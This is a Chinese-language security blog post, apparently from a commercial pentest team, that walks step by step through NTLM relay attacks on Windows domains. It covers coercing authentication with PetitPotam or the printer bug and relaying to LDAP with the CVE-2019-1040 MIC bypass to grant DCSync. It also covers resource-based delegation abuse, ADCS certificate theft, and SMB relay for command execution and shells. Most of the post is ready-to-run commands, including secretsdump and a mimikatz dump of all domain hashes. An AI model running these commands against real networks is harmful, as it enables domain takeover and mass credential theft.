STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
捕获到Net-NTLM Hash后,可以使用Hashcat破解Net-NTLM Hash得到密码明文,或者将net-ntlm中继到其他使用NTLM进行认证的应用层上。例如:可将net-hash中继到SMB、adcs HTTP服务、LDAP。但是在ms08-067 kb957097补丁中,禁止将自身的NTLM转发给自身。
可利用Print bug漏洞或Petitpotam漏洞强制目标主机回连。或诱导目标点击UNC路径
relay到ldap服务
将net-ntlm hash转发到lDap服务,配合CVE-2019-1040漏洞绕过ldap签名
添加ACL
relay到ldap服务,添加dscyns权限ACL。需要net-NTLM对应的用户具有对域对象WriteDacl权限。
relay exchange
将exchange的NTLM Net-NTLM继到域控上的ldap服务。利用CVE-2019-1040漏洞删除ldap mic签名标志,向指定账户授予DCSync 权限。exchange机器用户对域对象具有WriteDACL权限。
(windows中可回连内网机器A,然后将A的445端口流量重定向至外网kali监听的445)
# -remove-mic:利用CVE-2019-1040漏洞清除MIC标志
# -escalate-user:用于赋予指定用户dcsync权限,修改acl `Security Descriptor`条目赋予用户DCSync权限;
# -smb2support:支持SMB2协议
# -t:将认证凭据转发到指定ldap# -debug:输出详细信息
python3 ntlmrelayx.py --remove-mic --escalate-user admin -t ldap://192.168.10.250 -smb2support -debug
利用PetitPotam漏洞或者打印机漏洞,强制exchange服务器回连指定主机
python3 Petitpotam.py -d qaq.com -u admin -p [email protected] 192.168.10.25 192.168.10.30# 在windows环境下使用当前会话凭证利用Petitpotam漏洞强制回连。注意需要域用户权限,权限不足会报错
PetitPotam.exe 10.211.55.2 10.211.55.5 1
# 使用提权的用户进行dcsync
python3 secretsdump.py qaq.com/admin:[email protected]192.168.10.250 -dc-ip 192.168.10.250 -just-dc -outputfile qaq
修改msDS-AllowedToActOnBehalfOfOtherIdentity属性
relay到ldap服务,修改msDS-AllowedToActOnBehalfOfOtherIdentity属性为目标配置资源委派,然后获取目标权限。
例如:
1.中继辅域控机器用户的NTLM设置资源委派获取辅域控权限;
2.中继adcs/exchange的机器用户NTLM设置资源委派获取目标权限,前提是adcs和exchange不能和域控为同一台服务器;
3.中继其他有价值的目标的机器用户NTLM获取权限;
基于资源的约束性委派进行权限提升
设置资源委派属性获取目标权限。
1.新创建机器用户
powershell -exec bypass "&{import-module .\Powermad.ps1; New-MachineAccount -MachineAccount xxx -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose }"
2.开启NTLM监听转发到ldap
(windows中可回连内网机器A,然后将A的445端口流量重定向至外网kali监听的445)
# 写入msDS-AllowedToActOnBehalfOfOtherIdentity为新建的机器用户,设置资源委派
python3.8 ntlmrelayx.py -t ldap://192.168.11.250 --remove-mic --delegate-access --escalate-user xxx$ -smb2support
# 默认创建机器用户,将资源委派设置成新创建的机器用户
python ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
3.利用PetitPotam漏洞或者打印机漏洞发起回连:
python3 PetitPotam.py -d qaq.org -u admin -p Aa123456 192.168.11.15 192.168.11.24
4.查看机器的msds-allowedtoactonbehalfofotheridentity舒服是否被修改成功
# 查看所有机器
powershell -exec bypass "&{import-module .\powerview.ps1; Get-NetComputer | Select-Object -Property name,msds-allowedtoactonbehalfofotheridentity}"# 查看指定机器
powershell -exec bypass "&{import-module .\powerview.ps1; Get-DomainComputer win-2012 -Properties msds-allowedtoactonbehalfofotheridentity}"
5.使用新加的机器用户发起S4u2请求
impacket 利用
# 利用s4u2协议域管用户访问机器的票据
python getST.py -dc-ip 192.168.11.250 -spn cifs/win-2012.qaq.org -impersonate administrator qaq.org/xxx$:123456export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k WIN-2012.qaq.org -dc-ip 192.168.11.250
relay到adcs http服务
1.开启监听中继到ADCS 的http接口
python3 ntlmrelayx.py -t http://192.168.12.240/certsrv/certfnsh.asp -smb2support --adcs
利用打印机服务漏洞或PetitPotam强制域控回连攻击机器:
# 利用Petitpotam漏洞触发回连
python Petitpotam.py -d domain -u username -p password 回连ip 域控ip
利用上面获取到的证书,发起kerberos认证获取域管账户的TGT并注入到当前机器的内存中:
# 使用Rubeus利用证书发起kerberos认证申请TGT并注入lsass进程# Rubeus.exe asktgt /user:DC$ /certificate:打印出来的base64证书数据 /ptt
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
mimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com /all /csv " exit
relay到smb服务
relay到smb服务执行命令。只有域控smb默认开启签名。
# impacket
python3 ntlmrelayx.py -t smb://192.168.10.139 -smb2support -c ipconfig # Responder Tools MultiRelay.py脚本
python3 MultiRelay.py -t 192.168.10.139 -u all # 获取交互式shell
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们